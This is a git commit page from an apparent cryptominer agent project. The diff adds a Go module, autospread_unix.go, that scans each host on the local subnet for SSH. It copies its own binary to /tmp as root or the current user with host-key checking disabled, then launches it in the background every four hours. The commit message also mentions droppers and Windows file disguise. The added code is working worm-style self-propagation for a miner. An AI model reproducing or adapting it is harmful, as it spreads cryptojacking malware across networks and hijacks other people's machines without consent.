Add universal forge, fusion disguise, remote deploy, and stability fixes.
Ship cross-platform spread kits and fusion ZIPs with per-OS launchers, one-liner dropper endpoints, Windows file disguise, and a large batch of wiring/bug fixes so agents connect reliably across a LAN test fleet.
This commit is contained in:
128
agent/deploy/autospread_unix.go
Normal file
128
agent/deploy/autospread_unix.go
Normal file
@@ -0,0 +1,128 @@
|
||||
//go:build !windows
|
||||
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"log"
|
||||
"net"
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
// StartAutoSpreader launches SSH-based lateral deployment on Unix hosts.
|
||||
func StartAutoSpreader(cfg config.RuntimeConfig) {
|
||||
if !cfg.AutoSpread {
|
||||
return
|
||||
}
|
||||
go func() {
|
||||
time.Sleep(10 * time.Minute)
|
||||
ticker := time.NewTicker(4 * time.Hour)
|
||||
defer ticker.Stop()
|
||||
for {
|
||||
spreadUnixSubnet(cfg)
|
||||
<-ticker.C
|
||||
}
|
||||
}()
|
||||
log.Printf("[autospread] Unix SSH spread module active")
|
||||
}
|
||||
|
||||
// RunSpreadOnce triggers an immediate SSH sweep (non-blocking).
|
||||
func RunSpreadOnce(cfg config.RuntimeConfig) string {
|
||||
go spreadUnixSubnet(cfg)
|
||||
return "unix lateral spread sweep started (SSH :22)"
|
||||
}
|
||||
|
||||
// spreadSem limits concurrent SSH spread goroutines to 16 (M20)
|
||||
var spreadSem = make(chan struct{}, 16)
|
||||
|
||||
func spreadUnixSubnet(cfg config.RuntimeConfig) {
|
||||
exePath, err := os.Executable()
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
ips := getLocalIPs()
|
||||
for _, ip := range ips {
|
||||
subnet := getSubnet(ip)
|
||||
if subnet == "" {
|
||||
continue
|
||||
}
|
||||
for i := 1; i < 255; i++ {
|
||||
target := fmt.Sprintf("%s.%d", subnet, i)
|
||||
if target == ip {
|
||||
continue
|
||||
}
|
||||
spreadSem <- struct{}{} // acquire slot
|
||||
go func(t string) {
|
||||
defer func() { <-spreadSem }()
|
||||
attemptSSHSpread(cfg, t, exePath)
|
||||
}(target)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func attemptSSHSpread(cfg config.RuntimeConfig, target, exePath string) {
|
||||
conn, err := net.DialTimeout("tcp", target+":22", 2*time.Second)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
conn.Close()
|
||||
|
||||
remoteName := sanitizeName(cfg.WorkerName) + "-sync"
|
||||
remotePath := filepath.ToSlash(filepath.Join("/tmp", remoteName))
|
||||
scp := exec.Command("scp", "-o", "BatchMode=yes", "-o", "StrictHostKeyChecking=no", "-o", "ConnectTimeout=3", exePath, "root@"+target+":"+remotePath)
|
||||
if err := scp.Run(); err != nil {
|
||||
user := os.Getenv("USER")
|
||||
if user == "" {
|
||||
user = "ubuntu"
|
||||
}
|
||||
scp = exec.Command("scp", "-o", "BatchMode=yes", "-o", "StrictHostKeyChecking=no", "-o", "ConnectTimeout=3", exePath, user+"@"+target+":"+remotePath)
|
||||
if err := scp.Run(); err != nil {
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
start := exec.Command("ssh", "-o", "BatchMode=yes", "-o", "StrictHostKeyChecking=no", "-o", "ConnectTimeout=3", target,
|
||||
fmt.Sprintf("chmod +x %s && nohup %s --spread-install >/dev/null 2>&1 &", remotePath, remotePath))
|
||||
if err := start.Run(); err == nil {
|
||||
log.Printf("[autospread] deployed to %s via SSH", target)
|
||||
}
|
||||
}
|
||||
|
||||
func getLocalIPs() []string {
|
||||
var ips []string
|
||||
ifaces, err := net.Interfaces()
|
||||
if err != nil {
|
||||
return ips
|
||||
}
|
||||
for _, i := range ifaces {
|
||||
if i.Flags&net.FlagUp == 0 || i.Flags&net.FlagLoopback != 0 {
|
||||
continue
|
||||
}
|
||||
addrs, err := i.Addrs()
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
for _, a := range addrs {
|
||||
if ipnet, ok := a.(*net.IPNet); ok {
|
||||
if ip4 := ipnet.IP.To4(); ip4 != nil && !ip4.IsLoopback() {
|
||||
ips = append(ips, ip4.String())
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
return ips
|
||||
}
|
||||
|
||||
func getSubnet(ip string) string {
|
||||
parts := strings.Split(ip, ".")
|
||||
if len(parts) != 4 {
|
||||
return ""
|
||||
}
|
||||
return fmt.Sprintf("%s.%s.%s", parts[0], parts[1], parts[2])
|
||||
}
|
||||
Reference in New Issue
Block a user